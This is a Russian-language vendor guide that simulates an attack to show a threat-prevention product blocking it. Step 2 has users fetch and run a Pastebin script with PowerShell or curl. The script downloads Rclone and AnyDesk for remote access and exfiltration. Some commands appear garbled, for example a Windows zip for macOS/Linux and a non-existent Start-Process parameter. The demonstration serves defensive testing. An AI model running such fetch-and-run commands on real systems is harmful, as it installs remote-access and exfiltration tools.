Демонстрация того, как агентное предотвращение угроз защищает вашу сеть.

Обзор

Агентное предотвращение угроз - это движок безопасности, который проактивно применяет динамические меры в ответ на обнаруженные угрозы, чтобы уменьшить поверхность атаки и минимизировать угрозы на ранней стадии, до того как произойдет воздействие. Для получения дополнительной информации см. Что такое агентное предотвращение угроз?

В этой статье моделируется сценарий реальной атаки, чтобы продемонстрировать, как агентное предотвращение угроз защищает вашу сеть. Хотя это не является агентской угрозой, оно демонстрирует, как применяются меры контроля для предотвращения использования аналогичных техник в агентской атаке.

В этом примере пользователь загружает скрипт из Pastebin, который злоумышленник использует для попытки получения дополнительных инструментов высокого риска, необходимых для проведения атаки в будущем. Агентное предотвращение угроз идентифицирует вредоносное поведение и блокирует загрузку инструмента, предотвращая атаку до того, как она сможет прогрессировать, или произойдет воздействие.

Ответ на эту атаку полностью автоматизирован. Дополнительные правила не требуются. Достаточно просто включить агентное предотвращение угроз, чтобы предотвратить атаку.

Чтобы смоделировать эту атаку:

Загрузите инструмент высокого риска без блокировки
Загрузите скрипт из Pastebin
Попробуйте загрузить инструменты высокого риска снова. На этот раз загрузка заблокирована.
Примечание: Хотя этот сценарий не является агентским, он иллюстрирует, как средства контроля могут помочь предотвратить использование аналогичных техник в агентских атаках.

Необходимые условия

Агентное предотвращение угроз включено с действиями, установленными на Блокировать

Пункт 1: Загрузка высокорискового инструмента

Чтобы показать, что агентное предотвращение угроз блокирует действия только тогда, когда они являются частью вредоносной последовательности, сначала загрузите Rclone — инструмент командной строки с открытым исходным кодом для управления файлами. Злоумышленники часто используют Rclone в качестве инструмента после компрометации, поскольку он легитимный, мощный и сливается с обычной административной активностью.

Действие

Загрузите Rclone из одного из следующих источников:

Следующий URL: https://downloads.rclone.org/rclone-current-windows-amd64.zip
На устройствах Windows:
- Следующая команда PowerShell: Start-Process "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -Label "RClone"
На устройствах macOS/Linux:
- Следующая команда терминала: curl -sSL "https://downloads.rclone.org/rclone-current-windows-amd64.zip"

Результат

Файл загружается успешно.

Объяснение

Это подтверждает, что в изоляции действие не блокируется, так как не считается вредоносным, если ему не предшествует подозрительная активность.

Пункт 2: Загрузка скрипта из Pastebin

Чтобы моделировать начало атаки, загрузите скрипт из Pastebin, который при выполнении загружает общие инструменты злоумышленника, например, Rclone и AnyDesk, для удаленного доступа и эксфильтрации.

Действие

Загрузите и выполните скрипт из Pastebin:

На устройствах Windows:
- Следующая команда PowerShell: (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/C5VxKUpE')
На устройствах macOS/Linux:
- Следующая команда терминала: curl -sSL "https://pastebin.com/raw/tXhVK2V7"

Результат

Скрипт выполняется и загружает инструменты. Динамическое управление применяется к хосту, что отображается на странице Агентные Угрозы . Для получения дополнительной информации см. Мониторинг агентного предотвращения угроз

Описание

Агентное предотвращение угроз обнаруживает индикаторы подозрительного поведения и проактивно применяет меры контроля для блокировки последующих вредоносных действий, останавливая атаку до того, как произойдет воздействие.

Пункт 3: Загрузка высокорискового инструмента

В смоделированной атаке злоумышленник пытается загрузить Rclone. Однако, поскольку это действие следует за подозрительной активностью загрузки скрипта из Pastebin и применяется мера контроля, агентное предотвращение угроз блокирует загрузку Rclone.

Действие

Загрузите Rclone, используя любой из этих вариантов:

Напрямую с сайта Rclone: https://downloads.rclone.org/rclone-current-windows-amd64.zip
Эта команда PowerShell (в Windows): Start-Process -Url "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -Label "RClone"
Эта команда терминала (вкл. macOS/Linux): curl -sSL "https://downloads.rclone.org/rclone-current-windows-amd64.zip"

Результат

Загрузка этого файла заблокирована мерой контроля. Угрозы, подвергшиеся минимизации, показываются на странице Агентные Угрозы .

Объяснение

В отличие от шага 1, где этот скрипт выполнялся в изоляции и поэтому был разрешен, загрузка этого скрипта теперь предшествовала подозрительному действию и была заблокирована агентным предотвращением угроз.

Демонстрация

Это видео показывает демонстрацию этой симулированной атаки: